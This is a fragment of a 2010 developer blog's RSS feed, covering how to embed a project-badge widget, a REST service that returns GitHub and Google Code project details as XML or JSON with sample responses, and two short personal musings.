<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;script type=<span style="color: #3366CC;">"text/javascript"</span>&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; projectBadge.<span style="color: #006600;">load</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#123;</span> </div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; gitHub: <span style="color: #3366CC;">'AdamDotCom'</span>, </div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; googleCode: <span style="color: #3366CC;">'adam.kahtava.com'</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span>,<span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; filters: <span style="color: #3366CC;">'remove:adamdotcom,duplicate-items,-,empty-items'</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #66cc66;">&#125;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;/script&gt; </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p><strong>3. Add The Widget Hook</strong><br />
Add an element to your site or blog with the id of <code>project-badge</code>.</p>
<div class="igBar"><span id="lhtml-22"><a href="#" onclick="javascript:showPlainTxt('html-22'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">HTML:</span>
<div id="html-22">
<div class="html">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><a href="http://december.com/html/4/element/div.html"><span style="color: #000000; font-weight: bold;">&lt;div</span></a> <span style="color: #000066;">id</span>=<span style="color: #ff0000;">"project-badge"</span><span style="color: #000000; font-weight: bold;">&gt;</span></a></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; Loading...</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><span style="color: #000000; font-weight: bold;">&lt;/div&gt;</span></span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p><strong>That's it!</strong><br />
If you have any issues, use the <a href="http://adam.kahtava.com/etcetera/open-source-project-badge/">the working example</a> as a reference, or send me a message.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=gfFIn0E70jM:YFjCA0pwZn8:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=gfFIn0E70jM:YFjCA0pwZn8:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=gfFIn0E70jM:YFjCA0pwZn8:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=gfFIn0E70jM:YFjCA0pwZn8:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/gfFIn0E70jM" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/</feedburner:origLink></item>
		<item>
		<title>Introducing my Open Source Projects Service: Grab Your Project Details From GitHub or Google Code</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/3i4hP7vIDhU/</link>
		<comments>http://adam.kahtava.com/journal/2010/02/11/introducing-my-open-source-projects-service-grab-your-project-details-from-github-or-google-code/#comments</comments>
		<pubDate>Thu, 11 Feb 2010 16:00:55 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ADC Services]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[RESTful]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[WCF]]></category>
		<category><![CDATA[XML]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2278</guid>
		<description><![CDATA[Say hello to the newest member of my service family; the Open Source Project Service. This service lets me (and you too my friends) grab our project details from either Google Code, or GitHub. How it works If you have a project on GitHub or Google Code, you can retrieve your project details. Single project [...]]]></description>
			<content:encoded><![CDATA[<p>Say <em>hello</em> to the newest member of <a href="http://adam.kahtava.com/journal/category/open-source/adc-services/">my service family</a>; <em>the Open Source Project Service</em>. This service lets me (and you too my friends) grab our project details from either <a href="http://code.google.com/u/adam.kahtava.com/">Google Code</a>, or <a href="http://github.com/AdamDotCom">GitHub</a>.</p>
<h3>How it works</h3>
<p>If you have a project on GitHub or Google Code, you can retrieve your project details.</p>
<p>Single project host retrieval URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/open-source/projects/<em>{project-host}</em>.<em>{xml|json}</em>?user=<em>{username}</em></span></p>
<p>Multiple project host retrieval URI:</p>
<p style="padding-left: 30px;"><span style="text-decoration: underline;">http://adam.kahtava.com/services/open-source/projects.<em>{xml|json}</em>?project-host:username=<em>{project-host1:username1,<span style="text-decoration: underline;"><em>project-host2:username2<span style="text-decoration: underline;"><em>}</em></span></em></span></em></span></p>
<p><strong>Example</strong>, requesting projects from Google Code in XML format:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/open-source/projects/googlecode.xml?user=adam.kahtava.com">http://adam.kahtava.com/services/open-source/projects/googlecode.xml?user=adam.kahtava.com</a></p>
<p style="padding-left: 30px;">Response:</p>
<div class="igBar"><span id="lxml-26"><a href="#" onclick="javascript:showPlainTxt('xml-26'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">XML:</span>
<div id="xml-26">
<div class="xml">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Projects</span> <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">"http://adam.kahtava.com/services/open-source"</span> xmlns:<span style="color: #000066;">i</span>=<span style="color: #ff0000;">"http://www.w3.org/2001/XMLSchema-instance"</span><span style="font-weight: bold; color: black;">&gt;</span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Project<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Description<span style="font-weight: bold; color: black;">&gt;</span></span></span>The site source in use on Adam.Kahtava.com / AdamDotCom.com (http://adam.kahtava.com/)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Description<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span>More code coverage on controllers required!! :)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span>2010-02-26<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Name<span style="font-weight: bold; color: black;">&gt;</span></span></span>website<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Name<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Url<span style="font-weight: bold; color: black;">&gt;</span></span></span>http://code.google.com/p/adamdotcom-website<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Url<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Project<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; ...</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Projects<span style="font-weight: bold; color: black;">&gt;</span></span></span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Example</strong>, requesting projects from GitHub in JSON format:</p>
<p style="padding-left: 30px;">Request: <a href="http://adam.kahtava.com/services/open-source/projects/github.json?user=adamdotcom">http://adam.kahtava.com/services/open-source/projects/github.json?user=adamdotcom</a></p>
<p style="padding-left: 30px;">Response:</p>
<div class="igBar"><span id="ljavascript-27"><a href="#" onclick="javascript:showPlainTxt('javascript-27'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">JAVASCRIPT:</span>
<div id="javascript-27">
<div class="javascript">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#91;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #3366CC;">"Description"</span>:<span style="color: #3366CC;">"A collection of my etcetera, so forth, and so on. Contains a PowerShell script for Twitter, a programming exercise in Ruby, a programming exercise for Google done in JavaScript."</span>,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #3366CC;">"LastMessage"</span>:<span style="color: #3366CC;">"Bing-bing, changing filenames"</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #3366CC;">"LastModified"</span>:<span style="color: #3366CC;">"2009-06-08"</span>,</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #3366CC;">"Name"</span>:<span style="color: #3366CC;">"scripts"</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #3366CC;">"Url"</span>:<span style="color: #3366CC;">"http:<span style="color: #000099; font-weight: bold;">\/</span><span style="color: #000099; font-weight: bold;">\/</span>github.com<span style="color: #000099; font-weight: bold;">\/</span>AdamDotCom<span style="color: #000099; font-weight: bold;">\/</span>scripts"</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#125;</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; ...</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#93;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
<strong>Example</strong>, requesting projects from both GitHub and Google Code in a single request in XML form:</p>
<p>Request: <a href="http://adam.kahtava.com/services/open-source/projects.xml?project-host:username=github:adamdotcom,googlecode:adam.kahtava.com">http://adam.kahtava.com/services/open-source/projects.xml?project-host:username=github:adamdotcom,googlecode:adam.kahtava.com</a></p>
<p>Response:</p>
<div class="igBar"><span id="lxml-28"><a href="#" onclick="javascript:showPlainTxt('xml-28'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">XML:</span>
<div id="xml-28">
<div class="xml">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Projects</span> <span style="color: #000066;">xmlns</span>=<span style="color: #ff0000;">"http://adam.kahtava.com/services/open-source"</span> xmlns:<span style="color: #000066;">i</span>=<span style="color: #ff0000;">"http://www.w3.org/2001/XMLSchema-instance"</span><span style="font-weight: bold; color: black;">&gt;</span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Project<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Description<span style="font-weight: bold; color: black;">&gt;</span></span></span>Displays your public source code repositories from Google Code and GitHub.<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Description<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span>Added http://code.google.com/p/adamdotcom-services/ link<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span>2010-02-23<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Name<span style="font-weight: bold; color: black;">&gt;</span></span></span>project badge<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Name<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Url<span style="font-weight: bold; color: black;">&gt;</span></span></span>http://github.com/AdamDotCom/project-badge<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Url<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Project<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; ...</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Project<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Description<span style="font-weight: bold; color: black;">&gt;</span></span></span>The site source in use on Adam.Kahtava.com / AdamDotCom.com (http://adam.kahtava.com/)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Description<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span>More code coverage on controllers required!! :)<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastMessage<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span>2010-02-26<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/LastModified<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Name<span style="font-weight: bold; color: black;">&gt;</span></span></span>website<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Name<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;Url<span style="font-weight: bold; color: black;">&gt;</span></span></span>http://code.google.com/p/adamdotcom-website<span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Url<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Project<span style="font-weight: bold; color: black;">&gt;</span></span></span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; ...</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #009900;"><span style="font-weight: bold; color: black;">&lt;/Projects<span style="font-weight: bold; color: black;">&gt;</span></span></span> </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<h3>And Now What?</h3>
<p>View my sidebar widget that uses this service to display the latest updates from my source code repositories <a href="http://adam.kahtava.com/journal/2010/02/24/the-project-badge-show-the-world-your-github-and-google-code-projects-on-your-blog/">here</a>. </p>
<p>Contribute, view, or download this openly available source code <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.OpenSource.Service/Source/Service">here</a>.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3i4hP7vIDhU:TmRkCzItDAM:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3i4hP7vIDhU:TmRkCzItDAM:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=3i4hP7vIDhU:TmRkCzItDAM:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=3i4hP7vIDhU:TmRkCzItDAM:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/3i4hP7vIDhU" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/02/11/introducing-my-open-source-projects-service-grab-your-project-details-from-github-or-google-code/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/02/11/introducing-my-open-source-projects-service-grab-your-project-details-from-github-or-google-code/</feedburner:origLink></item>
		<item>
		<title>Tired of Strong Opinions Weakly Held</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/wt0RmXXWXz4/</link>
		<comments>http://adam.kahtava.com/journal/2010/02/09/tired-of-strong-opinions-weakly-held/#comments</comments>
		<pubDate>Tue, 09 Feb 2010 16:00:24 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2267</guid>
		<description><![CDATA[Strong opinions weakly held is a common conversational / debating approach within IT. Basically you defend your opinion until someone disproves it, at which time you adopt the more correct opinion. This approach works well in IT where allotted time for debates are limited and the cumulative knowledge of the team outweighs the individual. This approach [...]]]></description>
			<content:encoded><![CDATA[<p><em><a href="http://bobsutton.typepad.com/my_weblog/2006/07/strong_opinions.html">Strong opinions weakly held</a></em> is a common conversational / debating approach within IT. Basically you defend your opinion until someone disproves it, at which time you adopt the more correct opinion. This approach works well in IT where allotted time for debates are limited and the cumulative knowledge of the team outweighs the individual. This approach doesn't work as well in the real world. Using this technique with unsuspecting civilians (especially new acquaintances) can results in the victim thinking you're a) high strung, b) psychotic, c) egotistical, d) possibly a jerk. Actually, this approach can get tiresome in the IT realm too.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=wt0RmXXWXz4:r7nlETqKJ_g:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=wt0RmXXWXz4:r7nlETqKJ_g:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=wt0RmXXWXz4:r7nlETqKJ_g:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=wt0RmXXWXz4:r7nlETqKJ_g:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/wt0RmXXWXz4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2010/02/09/tired-of-strong-opinions-weakly-held/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2010/02/09/tired-of-strong-opinions-weakly-held/</feedburner:origLink></item>
		<item>
		<title>Preaching to the Choir</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/Q0uZX6UMyPM/</link>
		<comments>http://adam.kahtava.com/journal/2010/02/01/preaching-to-the-choir/#comments</comments>
		<pubDate>Mon, 01 Feb 2010 16:00:08 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2261</guid>
		<description><![CDATA[I go for a walk every day (yeah-yeah, I'll be a mall walker one day). My route takes me by a series of automated parking payment machines - the ones where you punch in your license plate along with a parking quadrant. Surprisingly enough, these machines provide endless comedic relief as people talk, grumble, and curse these [...]]]></description>
			<content:encoded><![CDATA[<p>I go for a walk every day (yeah-yeah, I'll be a mall walker one day). My route takes me by a series of automated parking payment machines - the ones where you punch in your license plate along with a parking quadrant. Surprisingly enough, these machines provide endless comedic relief as people talk, grumble, and curse these inanimate objects - some people go as far as to physically assault them, jam their keys in them, give 'em a good kick. It's funny to watch a level headed business man break his cool as he uses a car key to fish around in the coin slot while cursing. My favorite responses are the talkers; grumbling about the price of parking or technology in general. I'm sure they know the machine can't hear them, but yet they give that box of wires a piece of their mind.</p>
<p>If these talkers and grumblers were on the internet they'd most certainly be on Twitter or have a blog.</p>
<div class="feedflare">
